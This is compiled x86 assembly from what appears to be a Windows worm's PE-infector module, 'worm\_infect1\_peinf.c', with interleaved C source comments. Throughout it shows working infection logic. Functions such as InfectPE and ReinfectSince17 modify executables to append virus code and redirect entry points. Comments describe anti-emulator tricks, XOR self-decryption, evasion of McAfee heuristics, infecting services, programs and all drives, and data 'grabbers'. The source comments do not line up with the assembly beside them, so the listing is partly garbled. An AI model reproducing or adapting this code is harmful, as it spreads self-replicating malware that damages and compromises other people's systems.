	cmpl	$50,-4(%ebp)
	jb 	_$625
	.line	46
	movl	8(%ebp),%edi
	movb	$80,(,%edi)
	.line	47
	movl	8(%ebp),%edi
	movb	$81,1(%edi)
	.line	48
	movl	8(%ebp),%edi
	movb	$144,2(%edi)
	.line	49
	movl	8(%ebp),%edi
	movb	$82,3(%edi)
	.line	50
	movl	8(%ebp),%edi
	movb	$83,4(%edi)
	.line	51
	movl	8(%ebp),%edi
	movb	$84,5(%edi)
	.line	52
	movl	8(%ebp),%edi
	movb	$85,6(%edi)
	.line	53
	movl	8(%ebp),%edi
	movb	$86,7(%edi)
	.line	54
	movl	8(%ebp),%edi
	movb	$87,8(%edi)
_$623:
	.line	59
	movl	$0,-4(%ebp)
_$629:
	.line	62
	movl	-4(%ebp),%edi
	addl	-16(%ebp),%edi
	movl	%edi,-12(%ebp)
	.line	63
	movl	-4(%ebp),%edi
	movl	-8(%ebp),%esi
	movl	(%esi,%edi),%edi
	movl	%edi,-432(%ebp)
	.line	69
	cmpl	$0,8(%ebp)
	je	_$633
	.line	73
	movl	$0,-444(%ebp)
	.line	76
	movl	$240,-436(%ebp)
_$635:
	.line	78
	movl	-436(%ebp),%edi
	movl	%edi,%esi
	shll	$8,%esi
	movl	%edi,%ebx
	addl	%esi,%ebx
	movl	%edi,%esi
	shll	$16,%esi
	addl	%esi,%ebx
	shll	$24,%edi
	movl	%ebx,%esi
	addl	%edi,%esi
	movl	%esi,-440(%ebp)
	.line	85
	movl	-432(%ebp),%edi
	cmpl	%edi,-440(%ebp)
	jne	_$639
	movl	-4(%ebp),%edi
	addl	$4,%edi
	movl	-8(%ebp),%esi
	movzbl	(%esi,%edi),%ebx
	cmpl	-436(%ebp),%ebx
	je	_$639
	movl	$1,-444(%ebp)
_$639:
	.line	86
_$636:
	.line	76
	incl	-436(%ebp)
	cmpl	$255,-436(%ebp)
	jb 	_$635
	.line	88
	cmpl	$1,-444(%ebp)
	jne	_$641
	.line	90
	movl	$254,%edi
	movl	-4(%ebp),%esi
	addl	$1,%esi
	movl	-8(%ebp),%ebx
	movzbl	(%ebx,%esi),%ebx
	subl	%ebx,%edi
	movl	%edi,-448(%ebp)
	.line	113
	movl	-448(%ebp),%edi
	cmpl	$0,%edi
	je	_$645
	cmpl	$13,%edi
	jne	_$643
_$645:
	.line	116
	movl	-448(%ebp),%edi
	cmpl	$0,-216(%ebp,%edi,4)
	jne	_$646
	call	*__rand
	movl	-448(%ebp),%esi
	movl	%eax,%edi
	movl	-448(%ebp),%edi
	movl	12(%ebp),%ebx
	movl	(%ebx,%edi,4),%ecx
	xorl	%edx,%edx
	divl	%ecx
	movl	%edx,-428(%ebp,%esi,4)
	movl	-12(%ebp),%edi
	movl	8(%ebp),%esi
	movl	-448(%ebp),%ebx
	movl	-428(%ebp,%ebx,4),%ebx
	movl	%ebx,(%esi,%edi)
_$646:
	.line	117
	movl	-448(%ebp),%edi
	cmpl	$1,-216(%ebp,%edi,4)
	jne	_$648
	movl	-448(%ebp),%edi
	shll	$2,%edi
	movl	-12(%ebp),%esi
	movl	8(%ebp),%ebx
	movl	12(%ebp),%edx
	movl	(%edx,%edi),%edx
	subl	-428(%ebp,%edi),%edx
	movl	%edx,(%ebx,%esi)
_$648:
	.line	124
	addl	$3,-4(%ebp)
	.line	125
	movl	-448(%ebp),%edi
	leal	-216(%ebp,%edi,4),%edi
	incl	(,%edi)
	.line	126
	jmp	_$630
_$643:
	.line	135
	movl	-12(%ebp),%edi
	movl	8(%ebp),%esi
	movl	-448(%ebp),%ebx
	movl	12(%ebp),%edx
	movl	(%edx,%ebx,4),%ebx
	movl	%ebx,(%esi,%edi)
	.line	136
	addl	$3,-4(%ebp)
	.line	137
	jmp	_$630
_$641:
	.line	140
	movl	-12(%ebp),%edi
	movl	8(%ebp),%esi
	movl	-4(%ebp),%ebx
	movl	-8(%ebp),%edx
	movb	(%edx,%ebx),%bl
	movb	%bl,(%esi,%edi)
_$633:
	.line	144
	movl	-4(%ebp),%edi
	movl	-8(%ebp),%esi
	movzbl	(%esi,%edi),%ebx
	cmpl	$201,%ebx
	jne	_$650
	movzbl	1(%edi,%esi),%ebx
	cmpl	$195,%ebx
	jne	_$650
	incl	-4(%ebp)
	incl	-12(%ebp)
	jmp	_$631
_$650:
_$630:
	.line	59
	incl	-4(%ebp)
	jmp	_$629
_$631:
	.line	151
	addl	$5,-4(%ebp)
	.line	152
	movl	-16(%ebp),%edi
	addl	%edi,-4(%ebp)
	.line	153
	cmpl	$0,8(%ebp)
	jne	_$652
	movl	-4(%ebp),%eax
	jmp	_$622
_$652:
	.line	157
	movl	-12(%ebp),%edi
	movl	8(%ebp),%esi
	movb	$233,(%esi,%edi)
	.line	159
	movl	12(%ebp),%edi
	movl	32(%edi),%edi
	addl	20(%ebp),%edi
	addl	-12(%ebp),%edi
	movl	%edi,-220(%ebp)
	.line	160
	movl	16(%ebp),%edi
	movl	%edi,-224(%ebp)
	.line	165
	movl	$0xfffffffe,%edi
	subl	-220(%ebp),%edi
	addl	-224(%ebp),%edi
	subl	$3,%edi
	movl	%edi,-228(%ebp)
	.line	171
	movl	-12(%ebp),%edi
	addl	$1,%edi
	movl	8(%ebp),%esi
	movl	-228(%ebp),%ebx
	movl	%ebx,(%esi,%edi)
	.line	172
	addl	$4,-12(%ebp)
	.line	174
	movl	-4(%ebp),%eax
_$622:
	.line	175
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$661:
	.size	_WriteOrGetLen_C_CODE,_$661-_WriteOrGetLen_C_CODE
	.globl	_WriteOrGetLen_C_CODE
	.file	"e:\projects\progs\petrosjan\bjwj\worm\_infect1\_peinf.c"
_$M149:
	.data
	.globl	_VIRULENCE
	.type	_VIRULENCE,object
_VIRULENCE:
	.byte	0
	.text
; a --> %esi
	.type	_align,function
_align:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$12,%esp
	pushl	%esi
	pushl	%edi
	.line	39
	movl	12(%ebp),%esi
	.line	42
	movl	8(%ebp),%eax
	xorl	%edx,%edx
	divl	%esi
	or	%edx,%edx
	jne	_$663
	movl	8(%ebp),%eax
	jmp	_$662
_$663:
	.line	44
	movl	8(%ebp),%eax
	xorl	%edx,%edx
	divl	%esi
	movl	%eax,-8(%ebp)
	movl	%eax,%edi
	mull	%esi
	movl	%eax,-12(%ebp)
	movl	%eax,%edi
	addl	%esi,%edi
	movl	%edi,-4(%ebp)
	.line	50
	movl	%edi,%eax
_$662:
	.line	51
	popl	%edi
	popl	%esi
	leave
	ret
_$667:
	.size	_align,_$667-_align
	.globl	_align
; b --> %edi
; w --> %esi
; q --> %ebx
	.type	_ReinfectSince17,function
_ReinfectSince17:
	pushl	%ebp
	movl	%esp,%ebp
	subl	$40,%esp
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	67
	movl	12(%ebp),%edi
	.line	78
	andl	$0,-12(%ebp)
	.line	79
	pushl	32(%ebp)
	pushl	16(%ebp)
	call	_align
	addl	$8,%esp
	movl	%eax,-16(%ebp)
	.line	80
	movl	%eax,%ebx
	.line	81
	addl	$3072,%eax
	movl	%eax,-32(%ebp)
	.line	82
	movl	20(%ebp),%ecx
	cmpl	%ecx,%eax
	jbe	_$671
	movl	%ecx,%eax
	movl	%eax,-32(%ebp)
	.line	89
_$671:
	.line	90
	movzbl	(%edi,%ebx),%eax
	xorl	$77,%eax
	movb	%al,-5(%ebp)
	.line	92
	movl	%ebx,%esi
	addl	$218,%esi
	.line	94
	jmp	_$675
_$672:
	.line	98
	movzbl	(%edi,%esi),%eax
	movzbl	-5(%ebp),%edx
	xorl	%edx,%eax
	movb	%al,-17(%ebp)
	cmpb	$46,-17(%ebp)
	jne	_$673
_$676:
	.line	99
	movzbl	1(%esi,%edi),%eax
	movzbl	-5(%ebp),%edx
	xorl	%edx,%eax
	movb	%al,-18(%ebp)
	cmpb	$116,-18(%ebp)
	jne	_$673
_$678:
	.line	100
	movzbl	2(%esi,%edi),%eax
	movzbl	-5(%ebp),%edx
	xorl	%edx,%eax
	movb	%al,-19(%ebp)
	cmpb	$101,-19(%ebp)
	jne	_$673
_$680:
	.line	101
	movzbl	3(%esi,%edi),%eax
	movzbl	-5(%ebp),%edx
	xorl	%edx,%eax
	movb	%al,-20(%ebp)
	cmpb	$120,-20(%ebp)
	jne	_$673
_$682:
	.line	105
	movl	%ebx,%eax
	subl	-16(%ebp),%eax
	movl	%eax,-12(%ebp)
	.line	106
	movl	20(%ebp),%edx
	subl	-16(%ebp),%edx
	movl	%edx,-24(%ebp)
	.line	108
	pushl	32(%ebp)
	movl	%eax,-36(%ebp)
	movzbl	1(%ebx,%edi),%eax
	mull	28(%ebp)
	movl	%eax,-40(%ebp)
	movl	-36(%ebp),%eax
	movl	-40(%ebp),%edx
	addl	%edx,%eax
	movzbl	2(%ebx,%edi),%edx
	sall	$9,%edx
	movl	%eax,%ecx
	addl	%edx,%ecx
	pushl	%ecx
	call	_align
	addl	$8,%esp
	movl	%eax,-28(%ebp)
	.line	115
	cmpl	%eax,-24(%ebp)
	je	_$686
	.line	119
_$673:
	.line	94
	incl	%esi
_$675:
	movl	%ebx,%eax
	addl	$560,%eax
	cmpl	%eax,%esi
	jb 	_$672
	.line	122
	incl	%ebx
	.line	123
	cmpl	-32(%ebp),%ebx
	jb 	_$671
_$687:
	.line	125
_$686:
	.line	131
	cmpl	$0,-12(%ebp)
	jne	_$689
	xor	%eax,%eax
	jmp	_$668
_$689:
	.line	135
	andl	$0,-4(%ebp)
	jmp	_$694
_$691:
	.line	136
	movl	-4(%ebp),%eax
	movl	24(%ebp),%edx
	addl	%eax,%edx
	movl	-16(%ebp),%ecx
	addl	%eax,%ecx
	movb	(%edi,%ecx),%al
	movb	%al,(%edi,%edx)
	.line	135
	incl	-4(%ebp)
_$694:
	movl	-12(%ebp),%eax
	cmpl	%eax,-4(%ebp)
	jb 	_$691
	.line	138
_$668:
	.line	139
	popl	%edi
	popl	%esi
	popl	%ebx
	leave
	ret
_$700:
	.size	_ReinfectSince17,_$700-_ReinfectSince17
	.globl	_ReinfectSince17
; obj_e --> %esi
; b --> %ebx
	.type	_InfectPE,function
_InfectPE:
	pushl	%ebp
	movl	%esp,%ebp
	.extern	__stackprobe
	movl	$250836,%eax
	call	__stackprobe
	pushl	%ebx
	pushl	%esi
	pushl	%edi
	.line	144
	.line	156
	andl	$0,-176(%ebp)
	.line	164
	andl	$0,-36(%ebp)
	.line	165
	andl	$0,-44(%ebp)
	.line	166
	andl	$0,-148(%ebp)
	.line	240
	pushl	_dll_len
	pushl	_dll_mem
	movl	_szinfcode,%eax
	leal	-250496(%ebp,%eax),%eax
	pushl	%eax
	call	*__memcpy
	addl	$12,%esp
	.line	244
	andl	$0,-250524(%ebp)
_$702:
	.line	247
	pushl	$0
	pushl	$0
	pushl	$3
	pushl	$0
	pushl	$0
	pushl	$0xc0000001
	pushl	8(%ebp)
	call	*__CreateFile
	movl	%eax,-168(%ebp)
	.line	248
	cmpl	$0xffffffff,%eax
	jne	_$703
;  250 	_KERNEL32=(HANDLE)((DWORD)_KERNEL32-kernfuck*x);      //@E
	.line	250
	incl	-250524(%ebp)
;  251 
	.line	251
	cmpl	$1,-250524(%ebp)
	jne	_$705
;  252 	//---ANTIEMUL end
	.line	252
	pushl	8(%ebp)
	call	_UnprotectFile
	popl	%ecx
	jmp	_$702
_$705:
;  253 
	.line	253
	xor	%eax,%eax
	jmp	_$701
_$703:
;  254 	InitKernel32a(); //GetModuleHandle,LoadLibrary
;  255 
;  256 	InitKernel32(); //@S
	.line	256
	pushl	$0
	pushl	-168(%ebp)
	call	*__GetFileSize
	movl	%eax,-144(%ebp)
;  257 	InitCRTDLL();
	.line	257
	movl	%eax,-250568(%ebp)
;  258 	InitUser32();   
;  259 	InitADVAPI32(); 
	.line	259
	movl	_dll_len,%edx
	leal	0x2ffff(%eax,%edx),%eax
	pushl	%eax
	pushl	$0
	call	*__LocalAlloc
	movl	%eax,%ebx
;  260 	InitSFC();     
	.line	260
	or	%ebx,%ebx
	je	_$709
_$707:
;  261 	InitShell32();
	.line	261
	pushl	$0
	leal	-4(%ebp),%eax
	pushl	%eax
	pushl	-144(%ebp)
	pushl	%ebx
	pushl	-168(%ebp)
	call	*__ReadFile
;  262 	InitCrypt32();
;  263 	InitUrlmon();
;  264 	InitWininet();
;  265 	InitSFC_OS();   //@E
;  266 
;  267 
	.line	267
	cmpl	$1024,-4(%ebp)
	jb 	_$709
_$710:
;  268  #ifdef dbgdbg
;  269 	adddeb("===MainThread===");
;  270 	adddeb("AntiEmulator x:%u",x);
;  271  #endif
;  272 
;  273 
;  274 	ticks = _GetTickCount(); //@S
;  275 	hI=_GetModuleHandle(NULL);         //IMPORTANT!!! global hI will be used in dll decrypt
;  276 	service = CheckService(); //@E
;  277 
;  278  #ifdef dbgdbg
;  279 	adddeb("CheckService: %u (0==FALSE)",service);
	.line	279
	cmpl	$0,_dll_len
	je	_$709
;  280  #endif
;  281 
;  282 	//===== we are SERVICE, routine ServiceMode never returns
;  283 
;  284 	// *** service should not create mutex with the same name as
	.line	284
_$712:
;  285 	// *** infected usermode processes or they will never work
;  286 	// *** service creates it's own 2 mutexes - with version and without it
;  287 
;  288  #ifdef SVCDBG
;  289 	service = 1; // SERVICEMODE DEBUG
;  290  #endif
;  291 	//if (/*@S!=*/service != 0/*@E*/) ServiceMode(ticks);  // func never returns!
	.line	291
	movl	60(%ebx),%eax
	movl	%eax,-136(%ebp)
;  292 	ServiceMode(ticks);
;  293 
;  294 	//===== USERMODE ONLY CODE: we are not service
;  295 
;  296  #ifdef dbgdbg
;  297 	adddeb("===== !!! USER MODE !!! =====");
	.line	297
	movl	-4(%ebp),%eax
	subl	$248,%eax
	cmpl	%eax,-136(%ebp)
	ja 	_$709
_$715:
;  298  #endif
;  299 
	.line	299
	movl	-136(%ebp),%eax
	addl	%ebx,%eax
	movl	%eax,-16(%ebp)
;  300  #ifdef dbgdbg
;  301 	adddeb("CheckVersion... waiting for NO_OTHER");
;  302  #endif
;  303 
;  304  loop:;
;  305 	resver = CheckVersion();
	.line	305
	movzwl	(,%eax),%eax
	cmpl	$17744,%eax
	jne	_$709
_$717:
;  306 
	.line	306
	movl	-16(%ebp),%eax
	cmpw	$1,92(%eax)
	je	_$709
_$719:
;  307 	if (/*@S==*/resver == HI_DETECTED/*@E*/)
	.line	307
	movl	-16(%ebp),%eax
	cmpw	$267,24(%eax)
	jne	_$709
_$721:
;  308 	{
;  309 	  #ifdef dbgdbg
	.line	309
	movl	-16(%ebp),%eax
	movl	60(%eax),%ecx
	movl	%ecx,-496(%ebp)
;  310 		 adddeb("HIGHER VERSION DETECTED, ExitThread(1)");
	.line	310
	movl	56(%eax),%edx
	movl	%edx,-456(%ebp)
;  311 	  #endif
;  312 		_ExitThread(1);
;  313 	}
;  314 
;  315 	if (/*@S==*/resver == EQU_DETECTED/*@E*/)
;  316 	{
;  317 	  #ifdef dbgdbg
	.line	317
	cmpw	$13,68(%eax)
	jne	_$723
	movl	$8,%dl
	movb	$8,26(%eax)
	cmpb	$0,%dl
	je	_$723
;  318 		 adddeb("EQU_DETECTED, goto loop");
;  319 		 __sleep(1000);
	.line	319
	movzwl	70(%eax),%eax
	movl	%eax,-250516(%ebp)
;  320 	  #else  
;  321 		 __sleep(100);
;  322 	  #endif
;  323 
;  324 		goto loop;
;  325 	}
;  326 
;  327  #ifdef dbgdbg
;  328 	adddeb("NO_OTHER!!!");
;  329  #endif
;  330 
;  331 	//--- Create mutexes and wait for release of version mutex
;  332 
;  333 	_sprintf(mtx, "%s_mtx1", CLASSNAME);            //@S   // bugfix mutex1 (ver1 cant check high mutexes)
;  334 	_sprintf(mtxv, "%s_mtx%u", CLASSNAME, VERSION); //@E   // version mutex
;  335 
;  336 	CreateOrOpenMutexes_WaitForMtx2Release(mtx, mtxv); // returns only if mtxv released or
	.line	336
	cmpl	$23,%eax
	jae	_$709
;  337 	                                                   // created by our thread
;  338 
;  339 	//--- Create Window
;  340 
;  341 	//@S
	.line	341
_$725:
;  342 	wtc.lpszClassName = (LPSTR)CLASSNAME;           
;  343 	wtc.hInstance     = hI;
;  344 	wtc.lpfnWndProc   = WndProc;
;  345 	wtc.hCursor       = NULL; 
;  346 	wtc.hIcon         = NULL; 
;  347 	wtc.lpszMenuName  = NULL;
;  348 	wtc.hbrBackground = (HBRUSH)COLOR_WINDOW; 
;  349 	wtc.style         = CS_HREDRAW | CS_VREDRAW;
;  350 	wtc.cbClsExtra    = 0;
	.line	350
	movl	$1,-176(%ebp)
_$723:
;  351 	wtc.cbWndExtra    = 0;                          
;  352 	//@E
;  353 
	.line	353
	cmpl	$0,-176(%ebp)
	je	_$728
;  354 	//@S
;  355 	_RegisterClass(&wtc);                           
;  356 
;  357  #ifdef dbgdbg
;  358 	flags = WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX | WS_VISIBLE; 
;  359 	q = 10;
	.line	359
	cmpl	$6,-250516(%ebp)
	jae	_$730
	movl	-16(%ebp),%eax
	addl	$6,%eax
	subw	$4,(,%eax)
	jmp	_$728
_$730:
;  360 	w = 300;                                                   
	.line	360
	cmpl	$13,-250516(%ebp)
	jae	_$732
	movl	-16(%ebp),%eax
	addl	$6,%eax
	subw	$3,(,%eax)
	jmp	_$728
_$732:
;  361  #else
	.line	361
	cmpl	$16,-250516(%ebp)
	jae	_$734
	movl	-16(%ebp),%eax
	addl	$6,%eax
	subw	$2,(,%eax)
	jmp	_$728
_$734:
;  362 	flags = WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX; 
	.line	362
	cmpl	$17,-250516(%ebp)
	jae	_$736
	movl	-16(%ebp),%eax
	addl	$6,%eax
	decw	(,%eax)
	jmp	_$728
_$736:
;  363 	q = 0;
	.line	363
	movl	-16(%ebp),%eax
	addl	$6,%eax
	decw	(,%eax)
;  364 	w = 0;                                          
;  365  #endif
;  366 	//@E
;  367 
;  368 	//--- Check Service Mutex
	.line	368
_$728:
;  369 
;  370 	if ((sm = _OpenMutex(SYNCHRONIZE, FALSE, SERVICE_MTX)))
;  371 	{
;  372 		START_SVC = 0;      //@S  // service mutex detected - no services to start
;  373 		_CloseHandle(sm);   //@E
;  374 	}
;  375 	else START_SVC=5;       // no mutex - 5 services to start
;  376 
	.line	376
	movl	-16(%ebp),%eax
	movl	128(%eax),%ecx
	movl	%ecx,-24(%ebp)
;  377 	#ifdef dbgdbg
	.line	377
	movl	40(%eax),%eax
	movl	%eax,-28(%ebp)
;  378 	 adddeb("***** SERVICE MUTEX %s CHECK ***** START_SVC:%u (0==mutex detected)",SERVICE_MTX,START_SVC);
;  379 	#endif
	.line	379
	andl	$0,-164(%ebp)
;  380 
;  381 	//---
;  382 	
;  383 	//@S
;  384 	hw = _CreateWindowEx(0, CLASSNAME, CLASSNAME, flags, q, q, w, w, NULL, NULL, hI, NULL);
;  385 	sdelay = 0;                   
	.line	385
	movl	%ecx,%eax
	movl	-28(%ebp),%edx
	cmpl	%edx,%eax
	jbe	_$738
	addl	_szinfcode,%edx
	cmpl	%edx,%eax
	jb 	_$709
;  386 
;  387 	//--- EditOwnToken (enable OWNER priv)
;  388 	EditOwnToken_or_CheckFiltered(FALSE); // this func has internal NT check, FALSE==Edit, TRUE==Check
;  389 	//@E
;  390 
	.line	390
_$738:
;  391 	InitInfectData(ticks, START_SVC); // Init infcode, decrypt dll, srand
;  392 	                                  // & infect inactive services, start START_SVC service
;  393 
;  394 
;  395 	softfind();  // Infect Programs & Desktop          
	.line	395
	movl	-24(%ebp),%eax
	movl	-28(%ebp),%edx
	cmpl	%edx,%eax
	jae	_$740
	movl	-16(%ebp),%ecx
	addl	132(%ecx),%eax
	cmpl	%edx,%eax
	ja 	_$709
;  396 
;  397 	// InitData();                          // Init Grab Data
;  398 	// StartGrab();                         // Start Grabbers: comev, FFspy, Plugins, Certs + IE zones, ...
;  399 	CloseCreateThreadEco(InfectAllDrives);  // Create Drives Infecting thread
;  400 
	.line	400
_$740:
;  401 	//---
;  402 
;  403 	while(_GetMessage(&m, NULL, 0, 0))
;  404 	{
;  405 		_TranslateMessage(&m); 
	.line	405
	movl	-136(%ebp),%eax
	addl	$248,%eax
	movl	-16(%ebp),%edx
	addl	212(%edx),%eax
	movl	%eax,-184(%ebp)
;  406 		_DispatchMessage(&m);
	.line	406
	movzwl	6(%edx),%eax
	imul	$40,%eax,%eax
	addl	%eax,-184(%ebp)
;  407 	}
	.line	407
	addl	$40,-184(%ebp)
;  408 
;  409  #ifdef EXEFILE
;  410 	// we need this for exe debug (real import from kernel32.dll)
;  411 	GetModuleHandle("kernel32.dll");  //Vista bugfix, instead of ExitThread
;  412  #endif
;  413 }
;  414 
;  415 #ifdef _MSC_VER
;  416 	#pragma optimize("", off)
;  417 #else
;  418 	#pragma optimize(off)
;  419 #endif
	.line	419
	movl	-16(%ebp),%eax
	movl	84(%eax),%eax
	cmpl	%eax,-184(%ebp)
	ja 	_$709
;  420 
;  421 ///////////////////////////////////////////////////////////////
;  422 // Create Main Thread - it's in func for better mutaion ///////
;  423 
;  424 void StartMainThread()
;  425 {
	.line	425
_$742:
;  426 	//--- Start MainThread
;  427 
;  428 	DWORD lpv;               //@S
;  429 	DWORD tid; 
;  430 	DWORD CS_THREADS = TRUE; //@E  // enable CriticalSections in GetStrFromCrypt/LGetStrFromCrypt
	.line	430
_$744:
;  431 	_CreateThread(NULL, 0, MainThread, &lpv, 0, &tid);
;  432 }
	.line	432
	andl	$0,-36(%ebp)
;  433 
	.line	433
	andl	$0,-44(%ebp)
;  434 ///////////////////////////////////////////////////////////////
	.line	434
	andl	$0,-148(%ebp)
;  435 // Entry point ////////////////////////////////////////////////
;  436 
;  437 // push    ebp
;  438 // mov     ebp, esp
	.line	438
	andl	$0,-4(%ebp)
	jmp	_$748
_$745:
;  439 
;  440 #ifndef EXEFILE
;  441 
;  442 __declspec(dllexport) BOOL WINAPI LibMain()
;  443 
	.line	443
	movl	$40,%eax
	mull	-4(%ebp)
	movl	%eax,-250580(%ebp)
	movl	-136(%ebp),%eax
	leal	248(%eax,%ebx),%eax
	movl	-250580(%ebp),%edx
	movl	%edx,%esi
	addl	%eax,%esi
;  444 #else /* EXEFILE */
;  445 
	.line	445
	movl	12(%esi),%eax
	addl	8(%esi),%eax
	movl	%eax,-250572(%ebp)
;  446 #ifdef _MSC_VER
	.line	446
	movl	20(%esi),%eax
	addl	16(%esi),%eax
	movl	%eax,-250576(%ebp)
;  447 	#pragma optimize("", off)
	.line	447
	movl	-36(%ebp),%eax
	cmpl	%eax,-250572(%ebp)
	jbe	_$749
	movl	-250572(%ebp),%eax
	movl	%eax,-36(%ebp)
_$749:
;  448 #else
	.line	448
	movl	-44(%ebp),%eax
	cmpl	%eax,-250576(%ebp)
	jbe	_$751
	movl	-250576(%ebp),%eax
	movl	%eax,-44(%ebp)
_$751:
;  449 	#pragma optimize(off)
;  450 #endif
;  451 
;  452 int main()
;  453 
;  454 #endif /* EXEFILE */
	.line	454
	movl	-16(%ebp),%eax
	movl	168(%eax),%eax
	cmpl	12(%esi),%eax
	jb 	_$753
	cmpl	-250572(%ebp),%eax
	jae	_$753
;  455 
;  456 {
	.line	456
	movl	20(%esi),%eax
	movl	-16(%ebp),%edx
	addl	168(%edx),%eax
	subl	12(%esi),%eax
	movl	%eax,-148(%ebp)
_$753:
;  457 	//@S
;  458 	PE_HEADER *pe;
;  459 	DWORD q, eiRVA, last_sect;
;  460 	LPBYTE peadr;
;  461 
;  462 	DWORD a0=(DWORD)MainThread;     // any address inside our code
	.line	462
	movl	-24(%ebp),%eax
	movl	12(%esi),%edx
	cmpl	%edx,%eax
	jb 	_$755
	addl	8(%esi),%edx
	cmpl	%edx,%eax
	jae	_$755
;  463 	DWORD a =(DWORD)MainThread>>16; // align it by 64kb part1
;  464 	//@E
	.line	464
	subl	12(%esi),%eax
	addl	20(%esi),%eax
	movl	%eax,-40(%ebp)
_$755:
;  465 	a=a<<16;                        // align it by 64kb part2, splitted in 2 parts due to lcc compiler bug
;  466 	                                // DWORD k=(k0>>(5+LNMB1+LNMB0))<<(5+LNMB1+LNMB0);
;  467 
;  468 	// --- Find Our PE header
;  469 	
;  470 	 // step can be only 2^x, where x from 0 to 16 (1-0x10000)
	.line	470
	movl	-28(%ebp),%eax
	movl	12(%esi),%edx
	cmpl	%edx,%eax
	jb 	_$757
	addl	8(%esi),%edx
	cmpl	%edx,%eax
	jae	_$757
;  471 	 // to kill McAfee heuristic we use this
;  472 
;  473 	a = FindPEheader(a, a0, 4, &pe); // _NG == NO GLOBALS inside func
;  474 
;  475 	// --- Get import table RVA
	.line	475
	subl	12(%esi),%eax
	addl	20(%esi),%eax
	movl	%eax,-164(%ebp)
;  476 
;  477 	eiRVA = pe->importrva;     //exe import RVA
;  478 
;  479 	// --- import table (get addr of first imported from kernel32 func)
	.line	479
	movl	-28(%ebp),%eax
	subl	12(%esi),%eax
	movl	%eax,-250584(%ebp)
;  480 
	.line	480
	movl	16(%esi),%eax
	subl	-250584(%ebp),%eax
	movl	%eax,-250588(%ebp)
;  481 	for (q = 0; q < pe->importsize; q += SZIDTE) // sizeof(IMPORT_DIRECTORY_TABLE_ENTRY)
;  482 	{
;  483 		IMPORT_DIRECTORY_TABLE_ENTRY *idte=(LPVOID)(/*@S+*/a+eiRVA+q/*@E*/);
;  484 
;  485 		if (/*@S==*/idte->ImportLookUp==0/*@E*/) break; //@S
;  486 		if (/*@S!=*/_KERNEL32 != NULL/*@E*/) break;     //@E
;  487 
	.line	487
	cmpl	%eax,_szinfcode
	ja 	_$709
_$759:
;  488 		ProcessDLLimports(a, idte);
	.line	488
_$757:
;  489 	}
	.line	489
	.line	438
	incl	-4(%ebp)
_$748:
	movl	-16(%ebp),%eax
	movzwl	6(%eax),%eax
	cmpl	%eax,-4(%ebp)
	jb 	_$745
;  490 
;  491 	if (/*@S==*/_KERNEL32 == NULL/*@E*/) return;
;  492 
;  493 	 // --- decrypt main thread
	.line	493
	andl	$0,-484(%ebp)
;  494 
;  495  #ifdef RUNLINE
	.line	495
	cmpl	$0,-148(%ebp)
	je	_$761
;  496 
;  497   #ifdef EXEFILE
;  498 	adddeb("Decrypt MainThread addr:%X size:%X",MainThread,MainThread_size);
	.line	498
	andl	$0,-250576(%ebp)
;  499   #endif
;  500 	
	.line	500
	andl	$0,-4(%ebp)
	jmp	_$766
_$763:
;  501 	{
;  502 		unsigned char *bb=MainThread; //@S
	.line	502
	movl	-148(%ebp),%edx
	movl	%edx,-250584(%ebp)
	movl	$28,%eax
	movl	%eax,-250580(%ebp)
	mull	-4(%ebp)
	movl	%eax,-250588(%ebp)
	movl	-250584(%ebp),%eax
	movl	-250588(%ebp),%edx
	addl	%edx,%eax
	addl	%ebx,%eax
	movl	%eax,-250572(%ebp)
;  503 		DWORD i=0;                    //@E
;  504 		for (q = 0; q < MainThread_size; q++) 
;  505 		{ bb[q]=bb[q]^MainThread_key[i]; i++; if (i==4) i=0; }
;  506 
;  507 	  #ifdef EXEFILE
;  508 		adddeb("Decrypted OK");
	.line	508
	movl	-250576(%ebp),%edx
	cmpl	%edx,24(%eax)
	jbe	_$767
	movl	24(%eax),%eax
	movl	%eax,-250576(%ebp)
_$767:
;  509 	  #endif
	.line	509
	movl	-250572(%ebp),%eax
	movl	-44(%ebp),%edx
	cmpl	%edx,24(%eax)
	jb 	_$769
	movl	16(%eax),%eax
	addl	%eax,-484(%ebp)
_$769:
;  510 	}
	.line	510
	.line	500
	incl	-4(%ebp)
_$766:
	movl	-16(%ebp),%edi
	movl	172(%edi),%eax
	movl	$28,%ecx
	shrl	$2,%eax
	movl	$0x24924925,%edx
	mull	%edx
	movl	%edx,-250580(%ebp)
	movl	%edx,%edi
	cmpl	%edi,-4(%ebp)
	jb 	_$763
;  511 
;  512  #endif /* RUNLINE */
;  513 
;  514 
	.line	514
	pushl	-496(%ebp)
	pushl	-250576(%ebp)
	call	_align
	addl	$8,%esp
	movl	%eax,-250576(%ebp)
;  515 	//---
;  516 	//@S
;  517 	StartMainThread();
;  518 
;  519 	//--- Get C_CODE len, data section vadr, EP vadr
;  520 
;  521 	szinfcode=WriteOrGetLen_C_CODE(NULL, NULL, 0, 0); 
;  522 
;  523 	//--- Get Last Section
	.line	523
	cmpl	$0,-176(%ebp)
	jne	_$761
	movl	-144(%ebp),%eax
	cmpl	%eax,-44(%ebp)
	je	_$761
;  524 
;  525 	last_sect = pe->numofobjects - 1; 
	.line	525
	subl	-44(%ebp),%eax
	movl	%eax,-250584(%ebp)
;  526 	peadr = pe; // we use LPBYTE, becouse C math use size of structure in such operations
;  527 	//@E
;  528 
;  529 	//---
;  530 
;  531  #ifdef EXEFILE
	.line	531
	movl	-44(%ebp),%eax
	cmpl	%eax,-250576(%ebp)
	je	_$761
;  532 	loop:; sleep(0); goto loop;
;  533  #endif
;  534 
;  535 	//--- restore original victim exe code after entrypoint
;  536 
	.line	536
_$773:
;  537  #ifndef EXEFILE
;  538 	{
;  539 		DWORD q=0;
	.line	539
	movl	-16(%ebp),%eax
	movl	152(%eax),%edx
	cmpl	%edx,-44(%ebp)
	jne	_$709
	movl	156(%eax),%eax
	cmpl	%eax,-250584(%ebp)
	jne	_$709
;  540 		DWORD old_prot; 
;  541 		BYTE b;
;  542 		unsigned char *ep_code;
;  543 		PE_OBJENTRY *lastsect = /*@S+*/peadr+SZPE+SZOBJE*last_sect/*@E*/; // get the last section
;  544 
	.line	544
	movl	-44(%ebp),%eax
	movl	%eax,-144(%ebp)
;  545 		// some applications (vista infocard.exe) changes pe->entrypointrva after start. (NET framework)
	.line	545
	movl	-16(%ebp),%eax
	andl	$0,152(%eax)
